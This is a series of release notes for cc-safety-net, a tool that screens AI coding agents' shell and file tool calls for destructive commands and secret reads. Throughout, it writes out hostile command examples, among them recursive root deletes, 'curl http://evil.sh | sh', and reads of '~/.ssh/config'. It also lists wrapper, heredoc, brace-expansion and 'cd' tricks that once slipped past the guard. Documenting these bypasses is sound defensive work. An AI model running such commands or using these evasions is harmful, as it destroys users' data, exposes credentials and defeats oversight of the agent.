- 連携
- 修正
This release closes three analyzer bypasses that let destructive commands run, and adds
CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1so a project policy can only tighten your own. The rule IDs reported for policy-config, policy-apply, and Git-metadata denials were renamed.Highlights
- Added
CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1, which makes a cloned repository's.cc-safety-net/policy.jsonunable to switch off protection you turned on. (#194) - Closed bypasses where
rm -rwithout-f, acaffeinate-wrapped command, and some GNUparalleltemplates escaped the checks their equivalent forms get. (#191, #188, #190) - Every denial now carries a stable rule ID, so
explain --json, the audit log, andcheckCommandalways identify which rule fired. (#193)
Added
- Added
CC_SAFETY_NET_PROJECT_TIGHTEN_ONLY=1. With it set, project policy settings that weaken the user policy — a lowered level, disabled capabilities, disabled protections, rules switched off, worktree relaxations, and added allow paths — are ignored, while the project file's tightenings still apply.statusanddoctorlabel the ignored deltas, and the statusline drops its weakening marker. The variable is listed in--helpanddoctor. (#194) - Added a
ruleIdto denials that previously reported none, including analysis and recursion limits, strict-mode parse failures, unsupported heredoc syntax, unverifiable dynamic shell sources, and working-directory denials.checkCommandnow always returnsruleIdon adenyresult. (#193) - Added a
doctorwarning when a legacy inline rule config (.safety-net.jsonor~/.cc-safety-net/config.json) still exists even though it is no longer loaded, naming the files and pointing tocc-safety-net rule migrate.
Changed
- Changed
find <subdir> -deleteto be allowed when its starting point resolves inside the workspace, matching whatrm -rf <subdir>already allowed.find . -delete, starting points outside the workspace,-Land-follow, and Git metadata in a repository stay blocked, as does any suchfind -deletewhile paranoidrmis on. (#192) - Changed the workspace scoping for
find -deleteto follow the effectiverm.recursive-force-paranoidrule state, so an override of that rule now applies identically torm -rfandfind -delete.
Fixed
- Fixed uninstalling the Kimi CLI hook writing an invalid TOML config when a commented-out hook preceded the managed entry. (#182)
Breaking Changes
- Renamed the rule IDs reported for the pre-analysis guards:
policy-protectionis nowguard.policy-config,policy-apply-protectionis nowguard.policy-apply, andgit-metadata-protectionis nowguard.git-metadata. This affects anything that matches onruleIdfromexplain --json, the audit log, or thecheckCommandlibrary API. Denial reasons and behavior are unchanged. - Migration: Update any dashboard, filter, or script that matches the old IDs to the new
guard.*names.
Security
- Fixed
rm -r,rm -R, andrm --recursivewithout-fskipping the target checks that the-rfforms get, so a recursive delete outside the current directory is now blocked, including throughxargsandparallel. Strict and paranoidrmrules now apply to these forms as well. (#191) - Fixed
caffeinate <command>not being unwrapped likenohupandtimeout, which let the wrapped command skip device, interpreter, and custom-rule checks. (#188) - Fixed GNU
paralleljob values not being shell-quoted the wayparallelitself quotes them, which let templates such asparallel {} ::: 'rm -rf /'andparallel 'sh -c {}' ::: 'rm -rf /'through. A quoted template with a very large job list also no longer exhausts the analysis budget, and such a template no longer picks up the linked-worktree relaxation. (#190)
2026年10月3日
GitHub リリースv2.5.1
v2.5.1
- 修正
A maintenance release that fixes DeepSeek Harness installs landing an older
cc-safety-netthan the one you ran.Changed
- Simplified the error shown when DeepSeek Harness installs the bundle without enabling it; it now points only at the Plugins page, since a pinned install cannot receive a release that lacks DeepSeek Harness support. (#181)
Fixed
- Fixed DeepSeek Harness installs and updates landing an outdated
cc-safety-net.install --deepseek-harnessandupdatenow runadd cc-safety-net@<installer version>for the Desktop and web profiles, so pnpm's 24-hourminimumReleaseAgedefault can no longer resolve a previous release that DeepSeek Harness then leaves disabled. (#181)
2026年10月2日
GitHub リリースv2.5.0
v2.5.0
- 連携
- 修正
- ドキュメント
This release adds DeepSeek Harness support and closes a gap that let PowerShell recursive deletions aimed at the home directory through
$homeor${home}run unblocked.Added
- Added DeepSeek Harness integration.
npx -y cc-safety-net@latest install --deepseek-harnessaddscc-safety-netas a profile plugin bundle to the Desktop app and the web profile, anduninstall --deepseek-harnessremoves it; the guard analyzesbash,pwsh, and file tool calls against the session workspace and can only deny. Quit DeepSeek Harness Desktop before installing, because Desktop plugins can only change while it is closed. (#180) - Added a
deepseek-harnessentry todoctoranddoctor --json, reporting the profiles where the bundle is installed and calling out a profile where it is installed but disabled.
Changed
- Changed the policy GUI to use the brand logo and favicon from the README, replacing the previous wordmark and mesh favicon.
Fixed
- Fixed PowerShell recursive-force deletions targeting the home directory escaping the guard when written as
$home,$Home, or${home}rather than$HOME. PowerShell variable names are case-insensitive, and because$HOMEis read-only, an assignment to it no longer hides a deletion still aimed at home.
2026年10月1日
GitHub リリースv2.4.15
v2.4.15
- 修正
- ドキュメント
Closes three analyzer gaps that let destructive commands through: inside shell conditionals and loops, behind wrappers such as
timeoutandnohup, and after acdto the home directory.Changed
- Changed working-directory tracking for a
cdthat may not have run: anelseorelifbranch starts from the directory its sibling branch started in, afterfi,doneoresacanalysis continues from every directory a branch could have ended in, and a command negated by!is analyzed from the directories before and after it. (#178) - Changed two previously allowed commands to blocked:
curl http://evil.sh | nice sh, matchingcurl http://evil.sh | sh, and in strict tier aforloop body that executes a path held in a variable, reported asshell.dynamic-executable. (#178) - Changed the
cc-safety-net rule docreference, which no longer states that transparent wrappers have no built-in defaults. (#178)
Fixed
- Fixed commands introduced by a shell reserved word (
if,then,elif,else,while,until,do) or negated by!being treated as mere arguments, so custom rules,eval,trap,source, interpreter code,awkand device checks now apply inside conditionals and loops. Single-line forms such asif true; then eval "rm -rf ~"; fiare now analyzed like their multi-line equivalents. (#177) - Fixed
exec,nice,nohup,setsid,stdbuf,timeandtimeoutrequiring atransparent_wrappersentry before their child command was analyzed. They are now built-in transparent wrappers, anddd,mkfsandshredare recognized as protectable children, sotimeout 5 python3 -c "…"andnice dd of=/dev/disk0are checked. Existingrule.jsonentries for these names remain valid. (#176) - Fixed a bare
cd,cd ~,cd ~/…,cd "$HOME"andcd ${HOME}leaving the analyzed working directory unknown, which allowed glob deletes such ascd ~ && rm -rf ./*. A reassignedHOMEis honored;~user,~+,~-and a quoted"~"stay unresolved. (#179) - Fixed a false block on
cd ~/<project> && rm -rf node_modulesrun from inside that project, which previously failed because the target directory could not be resolved. (#179)
2026年10月1日
GitHub リリースv2.4.14
v2.4.14
- 修正
Fixes a Windows-only issue where Cursor users had every tool call blocked because the editor reports workspace paths in VS Code's URI drive form.
Fixed
- Fixed Cursor on Windows denying every tool call with an unsupported-path-form error when the editor reported paths as
/C:/Users/.... These URI-form drive paths are now read as native drive directories inworkspace_roots,cwd, and a shell call'sworking_directory, so tool calls are evaluated against the real workspace roots. Path handling on macOS and Linux, and MSYS-style/c/...paths, are unchanged. (#174)
2026年9月30日
GitHub リリースv2.4.13
v2.4.13
- セキュリティ
- 連携
- 修正
- ドキュメント
This release closes a set of integration gaps where shell commands and file paths reached hosts without being analyzed, and makes installation and
doctorreport each host's real state instead of trusting its config file.Highlights
- Shell commands run through Claude Code's
Monitor, Grok Build'smonitor, and Pi'spowershelltools are now analyzed for destructive commands. Previously those tools were routed as non-command tools, so a command such asgit reset --hardwas allowed through. (#163) - Tool inputs that name files in a
pathsarray, a downloaddestination, or a bare patch string are now inspected, so a Copilot CLI search or patch and an Amp thread download can no longer read or write protected paths unchecked. (#164, #166)
Added
- Added OpenCode v1's global
~/.config/opencode/config.jsonto the protected OpenCode configuration paths. (#173)
Changed
- Changed OpenCode v2 detection so
doctorand the policy GUI ask the host for activation state withopencode api plugin.listand report a plugin OpenCode marked failed as not configured, instead of reporting it as configured from the config file alone. These commands may start OpenCode's persistent background service. (#171, #173) - Changed the OpenCode v2 installer to run
opencode plugin addfirst, runopencode plugin updateonly when the plugin was already configured, wait for the host to list the plugin, and then confirm an active copy. The install now fails with OpenCode's own error when the plugin failed, and fails when the host lists no active copy. (#169, #173) - Changed the Codex entry in
doctorto state that Codex runs only trusted hooks and thatdoctorcannot check trust, alongside the/hookstrust step. (#171) - Documented two analysis limits in
SECURITY.mdand the README: Codex'sexec_commandpayload omits the call'sworkdir, and OpenClaw'sbefore_tool_callcontext exposes no session directory, so on those hosts a command can be analyzed against a different directory than the one it runs in. (#172)
Fixed
- Fixed Copilot CLI hook input handling so an object
toolArgsis used as received, anapply_patchpayload that arrives as raw*** Begin Patchtext is analyzed as a patch, and Copilot'sBashtool is analyzed with shell auto-detection. (#166) - Fixed Copilot CLI detection to read repository-level
enabledPlugins, to count hook entries that omittypeor useexecandargs, and to keep a standalone hook reported as configured when a repository switches the plugin off. (#171) - Fixed Gemini CLI analysis to use the directory named by
run_shell_command'sdir_pathrather than the session directory. (#168) - Fixed Hermes so file-tool calls are analyzed in the directory Hermes resolves their relative paths against, and so installation targets the profile named in
active_profile. (#167) - Fixed host-configuration discovery to follow
CLAUDE_CONFIG_DIR,PI_CODING_AGENT_DIR, andOPENCLAW_HOMEinstead of assuming~/.claude,~/.pi/agent, and the OS home directory. (#170, #171) - Fixed OpenCode v2 first installation, which failed because
opencode plugin updateran against a plugin that was not configured yet. (#169) - Fixed OpenCode v1 plugin discovery when
OPENCODE_CONFIG_DIRis set: detection and uninstall now also scan the XDG configuration directory that v1 loads. (#169) - Fixed a
~working directory on OpenCode v2 so it resolves to the home directory, matching the host, instead of a literal~directory inside the project. (#169) - Fixed an OpenClaw reinstall after an uninstall, which left the plugin disabled. Installation now enables it and accepts an enable the Gateway saved before a newer configuration reload superseded it. (#170, #173)
2026年9月29日
GitHub リリースv2.4.12
v2.4.12
- セキュリティ
- 破壊的変更
- 連携
- 修正
This release makes a refused working directory explain itself instead of reporting a generic internal failure, and removes a group of false denials that hit agents working in a temporary scratch directory.
Highlights
- A tool call refused because of its working directory now says which directory and why, and whether to restart the session or pick another directory, instead of the generic "CC Safety Net failed closed" message. (#157)
- Commands that build and use a scratch directory under the temp root — naming a path in a shell variable,
cd-ing into it, creating it withmkdir -p, or runningfind . -deleteinside it — are no longer denied. (#158, #160, #161)
Changed
- Changed the denial text
checkCommandreturns for a working directory it cannot use: it now names the specific problem rather than the generic failed-closed reason. (#157) - Moved the refused path from the
Segment:line to aWorking directory:line in the denial message, and recorded it as the audit entry'scwd. (#157)
Fixed
- Fixed working-directory denials across all supported hosts — Claude Code, Codex, Copilot CLI, Gemini CLI, Kimi, Hermes, Cursor, Grok Build, Antigravity, Pi, OpenClaw, Amp and OpenCode — so a session directory that no longer exists asks the user to restart the session, and a per-call directory that is missing or outside the workspace asks for a different directory. (#157)
- Fixed Antigravity refusing a workspace directory whose name begins with two dots, such as
..cache. (#157) - Fixed a shell script being refused as unverifiable when its path came from a literal shell assignment, as in
S=/tmp/scratch; bash $S/build.sh. The same expansion now applies togit -C,git worktree remove, and the file acatorteeheredoc writes. (#158) - Fixed an
&&or||outcome being lost across a pipeline, soA && B | C && Dno longer analyzesDas ifAhad failed. (#158) - Fixed
find . -deletebeing blocked after acd, by judging the.starting point as the directory thecdentered. Deleting from a directory that contains the workspace, or from a temp root itself, stays blocked. (#160) - Fixed a later line being analyzed in the old directory after a successful
cd, socd X && Afollowed byBnow evaluatesBinX. Acdwhose target is missing, dynamic, a regular file, or starts with~still leaves the directory unknown. (#160) - Fixed a
cdinto a directory an earliermkdirormkdir -pcreated in the same command being treated as a missing path. Amkdirthat may have failed, or one without-pwhose parent is missing, records nothing. (#161)
2026年9月29日
GitHub リリースv2.4.11
v2.4.11
- セキュリティ
- 修正
Name-filtered
findcleanups are no longer blocked as Git-metadata deletions inside a repository, and two destructive removals that hid behind a shell-cbody are now blocked.Changed
- Improved the denial message for a dangerous command passed as a positional argument to a shell wrapper: forms such as
bash -c 'exec sh -c "$1"' _ 'rm -rf /'now name the rule they violate instead of reporting an unverifiable execution source. (#143)
Fixed
- Fixed
finddeletions filtered by a literal-nameor-inamepattern being blocked as a Git-metadata deletion when no protected Git metadata entry can match that pattern, so cleanups such asfind . -name '*.pyc' -exec rm {} +run inside a Git repository again. Expressions the check cannot settle — operators, negation, unknown primaries, non-literal patterns, a recursiverm, a shell-wrapped-execbody,{}inside a longer argument, or a fixed-execdirpath — stay blocked, as do patterns that do match a metadata entry such asfind . -name '*.sample' -exec rm {} +. (#143)
Security
find -execand-execdirthat hand{}to a shell-cbody runningrmorrmdir, such asfind . -exec sh -c 'rm -rf "$0"' {} \;, are now treated as deleting the found paths. (#143)- Literal positional arguments are now substituted into a shell
-cbody before it is analyzed, sosh -c 'rm -rf "$1"' _ /is blocked as a recursive force delete of root instead of being allowed. A body with a non-literal argument is left unchanged, as before. (#143)
2026年9月26日
GitHub リリースv2.4.10
v2.4.10
- 連携
- 修正
Fixes OpenClaw installs and updates that failed against a busy Gateway with a
config reload supersedederror.Changed
- Changed OpenClaw installation to leave a plugin that you deliberately disabled in
openclaw.jsondisabled instead of silently re-enabling it; the post-install runtime check then reports the not-loaded status.
Fixed
- Fixed
install --openclawandupdatefailing withFailed to run openclaw plugins enable cc-safety-net (exit 1) ... config reload superseded by a newer runtime config sourceagainst a live OpenClaw Gateway. Installation now runs onlyopenclaw plugins install <artifact> --force --accept-capabilities, which already enables the plugin, so the separateenablecall can no longer race the Gateway's follow-up config reload. (#142)
2026年9月26日
GitHub リリースv2.4.9
v2.4.9
- 破壊的変更
- 移行
- 連携
- 修正
Fixes OpenClaw plugin installation, which failed on OpenClaw 2026.8.1 and newer because the non-interactive install now requires capability consent. OpenClaw integration consequently requires OpenClaw 2026.8.1 or newer.
Fixed
- Fixed
cc-safety-net install --openclawandcc-safety-net updatefailing on OpenClaw 2026.8.1 and newer, where the non-interactive plugin install exited with a capability-consent error. The installer now passes--accept-capabilities. (#141) - Fixed the persistent "requires capability consent" warning for plugins installed before OpenClaw 2026.8.1; reinstalling records the acceptance and clears it.
Breaking Changes
- OpenClaw integration now requires OpenClaw 2026.8.1 or newer, because older OpenClaw releases reject the
--accept-capabilitiesoption the installer passes. Other hosts are unaffected. - Migration: Upgrade OpenClaw to 2026.8.1 or newer before running
cc-safety-net install --openclaworcc-safety-net update.
2026年9月26日
GitHub リリースv2.4.8
v2.4.8
- 修正
Closes two gaps that let destructive commands slip past the gate: absolute-path
envwrappers and custom rules inside nested shell commands.Fixed
- Fixed destructive commands being allowed when invoked through an absolute-path wrapper such as
/usr/bin/env git reset --hard,/usr/bin/env rm -rf ../outside, or the same commands behindsudo. Wrapper detection now compares the basename of the command, so a full path is unwrapped the same way a bareenvis. (#138) - Fixed custom policy rules being skipped for commands nested inside
bash -c,sh -c,eval, and shell function bodies when the command had a built-in analyzer, such asrm,rmdir,git,find,xargs, andparallel. Custom rules now apply at every nesting depth. (#139)
2026年9月26日
GitHub リリースv2.4.7
v2.4.7
- 修正
Secret allow paths can now exempt a single file name at any depth under a folder, such as
~/code/**/.env.local, without opening up other secret files.Added
- Added recursive basename patterns to
secret_protection.allow_paths: an entry such as~/code/**/.env.localexempts only that exact file name, at any depth under the named folder. Other env variants and all other secret patterns stay blocked, configureddeny_pathsand Coding CLI protections still win, and the folder before**/is required and cannot be your home directory or a folder above it, so credentials such as~/.ssh/configand~/.npmrcremain protected. (#136, #135)
Changed
- Improved the rejection message for unsupported secret allow-path globs so it names the one supported form (
~/code/**/.env.local) instead of stating that globs are not allowed. - Updated the Policy screen in
cc-safety-net guito describe and suggest the new recursive form in the secret allow-paths help text and input placeholder.
Fixed
- Fixed validation of
secret_protection.allow_pathson Windows: entries written with backslashes and a home alias (~,$HOME,${HOME}) are now expanded before validation, so an entry that would cover your home directory or the guard's own configuration is rejected as intended.
2026年9月25日
GitHub リリースv2.4.6
v2.4.6
- 連携
- 修正
Standard mode now tells reads and executions apart from mere mentions of a sensitive file name or a destructive command, so far fewer safe commands are blocked. Strict and paranoid modes keep every previous denial.
Highlights
- Reduced standard-mode false positives across secret protection, heredoc bodies, interpreter string literals, and
xargsshell bodies. (#132) - Fixed
ghandgittext flag values being read as file paths, so searches, titles, bodies, jq filters, and commit messages no longer trip secret protection. (#131, #133)
Added
- Added an approval prompt for commands standard mode cannot verify: the Claude Code hook now answers with
permissionDecision: "ask"and the messageCC Safety Net could not verify this commandinstead of denying. This applies only in thedefault,acceptEdits, andplanpermission modes; every other mode, every other host, and strict and paranoid modes keep denying. (#132)
Changed
All changes below apply to standard mode only; strict and paranoid modes are unchanged.
- Changed metadata-only checks of built-in sensitive paths (
ls,stat,test -e/-f,[ -e/-f ],git check-ignore, andfindwith no actions) to be allowed as one segment of a compound command, not only when standalone. - Improved built-in sensitive-path matching so a secret file name that names an existing directory, a word containing whitespace that neither starts like a path nor exists on disk (such as
for c in 'cat ~/.aws/credentials'), and an output redirection that creates a secret-named file where none exists are no longer treated as reads. Home-directory and coding-CLI credential rules are never relaxed. - Changed unquoted heredocs whose body expands only variables, with no
$(…)or backtick substitution, to be treated like quoted heredocs. A script written from such a heredoc is still analyzed when a later command runs it. - Changed a destructive command written as an interpreter string literal to block only where an execution call can receive it, or where the code holds backticks,
%x, orqx. - Changed
xargsinput spliced into ash -cbody to count as a data word when it never starts a command and the body stays harmless with/in its place, sogrep -rl TODO src | xargs -I{} sh -c 'echo "--- {}"; head -3 {}'is allowed whilexargs -I{} sh -c 'rm -rf {}'andxargs -I{} sh -c '{} --verbose'stay blocked. - Changed
evalof a single literal local generator command to also accept the unquoted form, soeval $(opam env)is allowed alongsideeval "$(ssh-agent -s)". - Improved interpreter detection so
uv run python -and an interpreter reading its program from-followed by script arguments are recognized as stdin programs.
Fixed
- Fixed
ghandgittext flag values being inspected as file paths.gh issue list --search credentials,-S,--title/-t,--body/-b,--jq/-q, thegit commit,merge,notes,stash, andtagmessage flags including clusters such as-amand-nm, andgit log --grepare now read as text. File-taking options such as--body-file,--input, andgit commit -F, plain operands, and command substitutions inside a text value are still inspected. (#131, #133) - Fixed
find -files0-from FILEnot being treated as a read ofFILE, sofind -files0-from .envis blocked andfindwith that option no longer counts as a metadata-only check.
2026年9月23日
GitHub リリースv2.4.5
v2.4.5
- 修正
Closes a coverage gap where
git checkoutpath restores were allowed at every protection level unless the command used a--separator.Fixed
- Fixed separator-free
git checkoutpath restores being allowed. Commands such asgit checkout .,git checkout src/,git checkout src/app.ts, and glob operands such asgit checkout '*.ts'are now blocked by thegit.checkout-double-dashrule, which points togit stashorgit switch. (#128)
Changed
- Changed a lone
git checkoutoperand to count as a path restore when it is spelled as a path (.,..,./…,../…,:magic pathspecs, absolute or drive-letter forms, or a trailing slash) or when it names an existing entry in the working tree. Bare branch names such asgit checkout main, along with the-b,-t,--track, and--detachforms, stay allowed. A branch whose name matches an existing file or directory is now blocked instead, with guidance to usegit switch. (#128)
2026年9月21日
GitHub リリースv2.4.4
v2.4.4
- 破壊的変更
- 修正
This release removes false positives on disposable work in temporary directories: the analyzer now tracks a literal
cd, so recursive deletes and Git discards inside a temp-root repository unrelated to your workspace are recognized as safe.Highlights
- Git discards and forced worktree removals that target a temp-root repository unrelated to your workspace are now allowed without any toggle, while force pushes and anything that reaches your workspace stay blocked.
Added
- Added a
Temp-root relaxationstep toexplainoutput that names the Git working directory permitting a discard.
Changed
- Changed the analyzer to stop tracking the working directory when a segment assigns or appends to
CDPATH, and to leave a barecdoperand untracked whileCDPATHcould redirect it, so a relaxation is never granted for a directory the shell may not actually enter. - Changed the rule reported for a self-targeting delete after a tracked
cd, such ascd /tmp; rm -rf ., to the more specificrm.recursive-force-cwd-selforrm.git-metadatainstead ofrm.recursive-force-outside-cwd. The command is still blocked; only theruleIdinexplain --jsonchanges.
Fixed
- Fixed
rm -rfwith a relative target being blocked after acdinto a temporary directory. The analyzer now resolves a literalcdoperand past-L,-P, and--and treats the target as a temp delete. (#124) - Fixed Git discards such as
git reset --hardandgit clean -fdxbeing blocked in a temp-root repository reached through a trackedcd, including acdwhose operand expands from a literal assignment or from a literalforlist of at most eight words. A force push, a discard aimed throughGIT_DIRor another explicit Git context, and a repository that is or contains your workspace remain blocked. (#125) - Fixed
git worktree remove --forcebeing blocked when its operand is an existing absolute temp-root directory unrelated to your workspace. A relative, missing, symlinked, or dynamically built operand still keeps the rule. (#126)
2026年9月20日
GitHub リリースv2.4.3
v2.4.3
- セキュリティ
- 破壊的変更
- 移行
- 連携
- 修正
- ドキュメント
This release adds OpenCode 2.0.6+ support alongside the existing OpenCode v1 integration. It also raises the minimum supported OpenCode v1 version to 1.18.29.
Highlights
- Added OpenCode 2.0.6+ support, using the same policy, analyzer, and audit behavior as the v1 integration. (#123)
Added
- Added protection on OpenCode v2 through its tool hook, covering
shellcommands and read, edit, write, patch, grep, glob, and unknown-tool inputs, with typed tool denials. Code Mode child tool calls pass through the same hook. (#122) - Added v2 installation and updates to
npx -y cc-safety-net@latest install --opencode, which detects the host version and usesopencode plugin addandopencode plugin update, then confirms the plugin is registered inopencode plugin list. - Added a
shellplugin option for OpenCode v2 that sets the expected dialect (posixorpowershell). The plugin defaults to POSIX on Unix and PowerShell on Windows, verifies the actual executable before a shell starts, and rejects a mismatched or unsupported shell rather than analyzing it with the wrong parser. Seedocs/opencode-compatibility.md. - Added the
/cc-safety-netcommand on OpenCode v2. A command of that name already present when the plugin loads is preserved. - Added the
cc-safety-net/opencode/v2entry point for TypeScript consumers using the OpenCode v2 SDK. v1 consumers continue to useCCSafetyNetPluginfromcc-safety-net.
Changed
- Changed
install --opencodeto stop with a migration message when an OpenCode v2 config already listscc-safety-netunder a spec other thancc-safety-net@latest, instead of creating a duplicate plugin ID. Change that entry's package spec, keeping its options and comments, then retry.
Fixed
- Fixed OpenCode config discovery to honor the
OPENCODE_CONFIG_DIRoverride, which affects both integration detection and uninstall. - Fixed
uninstallto removecc-safety-netentries from every detected OpenCode config file instead of stopping at the first one, and to report accurately whether an entry was removed. - Fixed OpenCode detection and uninstall to recognize both the
pluginandpluginsarrays and object-form plugin entries, and to match only thecc-safety-netpackage spec instead of any entry whose name contains it. - Improved OpenCode config editing so removing a plugin entry preserves neighboring comments in JSONC configs.
Breaking Changes
- Raised the minimum supported OpenCode v1 version to 1.18.29, up from 1.18.3.
install --opencodenow stops with a version error on older releases. - Migration: Upgrade OpenCode to 1.18.29+ or 2.0.6+ before updating CC Safety Net.
2026年9月17日
GitHub リリースv2.4.2
v2.4.2
- セキュリティ
- 破壊的変更
- 修正
This release closes three command-analysis gaps where a destructive command could be hidden from the gate, and removes a false positive that denied plain
gitnetwork commands for anyone whose shell exports an SSH override.Highlights
- Fixed heredoc handling so a carriage-return-suffixed delimiter line can no longer end a heredoc early and let the rest of its body run unanalyzed. (#115)
- Stopped denying
git fetch,git pull, andgit pushwithgit.ssh-envwhenGIT_SSH_COMMAND,GIT_SSH, orGIT_SSH_VARIANTis inherited from the user's shell profile. Inline assignments such asGIT_SSH_COMMAND=./evil git fetchand-c core.sshCommand=...overrides still deny. (#119)
Changed
- GNU Parallel forms the analyzer cannot follow now deny as
parallel.command-stream-dynamic: multiple:::groups, negative{-n}placeholders, and--workdir/--wd. The child command is still expanded and re-rooted, so a catastrophic root or home deletion is still caught when the stream rule is off. (#121) - A placeholder that lands in a position owned by a configured rule's command is now treated as dynamic input and denies with the existing
xargs.shell-dynamicandparallel.shell-dynamicids. (#121) - Improved GNU Parallel job expansion to charge the shared analysis budget as it builds, so a wide
:::product fails closed promptly instead of constructing a very large job matrix before the denial. (#121) - Changed
--workdirtilde handling so only a leading~expands and a tilde inside a path component is literal, as the shell treats it. This also fixes workdir re-rooting on Windows paths containing 8.3 short names such asC:\Users\RUNNER~1\.... (#121) - An override with an unknown rule id and a value other than
onoroffnow reports one diagnostic instead of two. (#120) rule init --examplenow writes the project-scope description and author into the example rulebook instead of the user-scope wording. (#121)
Fixed
- Fixed policy-target comparison on macOS, where a hard link to a policy file could make two lookups of the same path disagree and flip a verdict. Targets are now canonicalized through their parent directory; hard links remain distinct targets. (#117)
Removed
- Removed
shadowedRulesfromdoctor --json; its only value was an empty array. (#121) - Removed
isOverriddenToNonTempfrom thetmpdir-checkstep ofexplain --json; it was the negation of theallowTmpdirVarvalue next to it. (#120) - Removed the accepted-but-ignored
rule --checkflag;cc-safety-net rule --checknow reports an unknown option. (#121)
Security
- A heredoc body now ends only at a byte-exact delimiter line, matching bash. A heredoc written with CRLF no longer closes at a bare delimiter line, so a payload such as
$(rm -rf /)placed after one is analyzed instead of allowed; at strict safety an unterminated heredoc fails closed. (#115) - Brace expansion at command position now uses the quote-aware scanner, so
{"rm",ls} -rf /,{'rm',ls} -rf /, and{r\m,ls} -rf /denyrm.recursive-force-root-or-homeinstead of parsing a literal command head. (#120) - The secret walk of
bash -cnow resolves the command operand through the shell's own option grammar, sobash -c -- "cat .env"and the-xand-svariants are checked for secret access, and an option value such asbash -O .env -c ...is no longer re-read as the command. (#120)
2026年9月17日
GitHub リリースv2.4.1
v2.4.1
- 連携
- 修正
A patch release that repairs plugin installation for Amp and OpenClaw when running the published package.
Fixed
- Fixed
cc-safety-net install --ampandcc-safety-net install --openclawfailing with a "Packaged ... artifact not found" error when run from the published package (for example vianpx -y cc-safety-net). The packaged plugin artifacts are now also looked for beside the bundled CLI, where they actually ship.
2026年9月14日
GitHub リリースv2.4.0
v2.4.0
- セキュリティ
- 破壊的変更
- 連携
- 修正
v2.4.0 rebuilds the runtime from the ground up. The hook, CLI, API, GUI and all thirteen host integrations keep their behavior, verified command by command against v2.3.4 before the old code was removed. What changes is what you feel: every hook call is less than half as long, the package has no runtime dependencies, and secret protection now follows
cd.Highlights
- Hook calls are 2.2× faster. A tool call on Claude Code went from 195 ms to 85 ms on the verification machine, and the p90 tail from 229 ms to 89 ms. Peak memory per call dropped from 76 MB to 56 MB and CPU time from 220 ms to 94 ms.
- Zero runtime dependencies.
zodis gone, the published manifest declares no dependencies, and package verification fails if one reappears. The Amp and OpenClaw plugin bundles shrank from 428 KB to 314 KB each. - Secret protection follows
cd.cd ~ && cat .ssh/configand its pipe, redirection and variable forms are now denied at every level, with the operand reported as the evidence. No policy change is needed. - Fewer false positives.
jqfilters ending in.key(#112),<<inside interpreter code understrict(#111), a POSIX heredoc feeding a Python script, and string literals inside inline Python, JavaScript, Ruby, Perl and PHP code (#114) are no longer denied.
Performance
Hook invocation, measured as
hooks/hooks.jsonruns it: a fresh Node process per tool call, isolatedHOME, fresh git repository as the working directory. Median of 40 interleaved rounds, Node 22 on a 4-core Linux container, barenode -e ""≈ 40 ms. Decisions were identical on every scenario.| Scenario | v2.3.4 | v2.4.0 | Δ | |---|---:|---:|---:| | allow
ls -la| 195 ms | 85 ms | −57% | | denyrm -rf /| 183 ms | 80 ms | −56% | |git status && bun test \| grep x| 206 ms | 98 ms | −53% | | p90, allow path | 229 ms | 89 ms | −61% | | peak RSS | 75.5 MB | 55.9 MB | −26% | | CPU, user + system | 220 ms | 94 ms | −57% |Time spent above bare Node, the part cc-safety-net controls, went from ~155 ms to ~45 ms.
In-process callers see the same gain. Through the public
checkCommandAPI, a decision costs ~1.5 ms instead of ~3 ms, so the OpenCode, Pi, Amp and OpenClaw integrations handle ~670 decisions per second where they handled ~330.Where the time went:
- The hook loads only what a decision needs. The bin resolves the
hookverb before one dynamic import of the CLI, so the hook path loads about 350 KB of JavaScript instead of about 808 KB.explain,status,doctorand the rest sit behind that import and pay for it only when invoked. node:cryptoleft the hook's static closure. Audit ids and temp-file suffixes need uniqueness, not unpredictability, and now come from aMath.randomhelper with the same sixteen-hex shape. A test fails if the hook's import closure grows past 400 KB (measured 344 KB).- The hook ships as a CommonJS bundle behind a compile-cache loader. Skipping the ES module loader is worth 13 to 15 ms per call.
dist/bin/cc-safety-net.jsis now a tiny loader that enables Node's compile cache and requiresdist/bin/hook.js, so the bundle's bytecode is cached after the first run under~/.cc-safety-net/compile-cache. The first run per home pays 15 to 30 ms once; a Node without the API runs uncached. - Secret protection stops re-deriving constant paths. Coding-CLI roots are memoized per decision, and
win32.parseis skipped on paths without a backslash. This is most of the in-process throughput gain.
Measured and rejected: a V8 startup snapshot (7 MB per Node version, only 3 ms better than the shipped bin) and running the bin under Bun. A persistent daemon is the only way below the current floor and stays out of scope.
Two costs worth knowing: the npm tarball grew from 521 kB to 532 kB because the CommonJS hook bundle carries its own copy of the gate beside the ESM chunk the other entries share, and one ~220 KB compile-cache file per Node version accumulates under
~/.cc-safety-net/compile-cache.Changed
- Changed secret-protection path resolution to follow the shell's directory scope:
cd -returns to the previous directory, acdinside a subshell,$( ), backticks or a process substitution ends with that shell, and a brace group or function body keeps itscd. Ash -cbody is walked as shell, so acdinside it counts.pushd/popdstay untracked. Commands that read a protected file after acdare denied where they were previously allowed. No policy, rule or level change is required. - Changed standard mode to keep an interpreter string literal as a path candidate only when the surrounding code holds a filesystem, command-execution or
evalmarker. Strict mode still keeps every literal and scans inside literal text. - Improved the
Config warning:line a denial carries whenpolicy.jsonholds something the loader will not accept: it now names the dropped section or field, for examplesafety.level: not one of standard, strict, paranoid, instead of repeating schema wording.cc-safety-net doctorandcc-safety-net policy checkkeep their existing wording.
Fixed
- Fixed inline
jq,gojqandjaqfilters ending in.keybeing denied as sensitive filenames (#112). - Fixed
<<inside interpreter code, such as a JavaScript template literal, blocking understrictwith an unsupported-heredoc error (#111). - Fixed a POSIX heredoc being auto-detected as PowerShell, which denied a command whose heredoc body merely mentioned a PowerShell command.
- Fixed interpreter code being scanned as shell text: a heredoc, pipe or
-cbody handed to a non-shell interpreter is now read as code, so its string literals no longer become bare path operands. A literal passed to a shell-exec call such asos.system,subprocess.*orexecSyncis still walked as shell and still denies (#114). - Fixed a
sh -cbody being matched by the inline-code scanner rather than walked as shell, which denied a display-onlyprintf '%s' .envinsidesh -cwhile allowing the same command at the top level; a body that reads a protected file, such assh -c 'cd ~ && cat .ssh/config', now denies. - Fixed
printfformat operands without conversions being forwarded as path candidates in pipe analysis. - Fixed a
find -execbody inside an unknown wrapper command skipping the full analysis, which allowed shapes such ascustom-tool -x find . -exec dd of=/dev/sda \;. - Fixed non-BMP characters, including emoji, being corrupted when decoding quoted filenames in Git patch headers.
- Fixed a
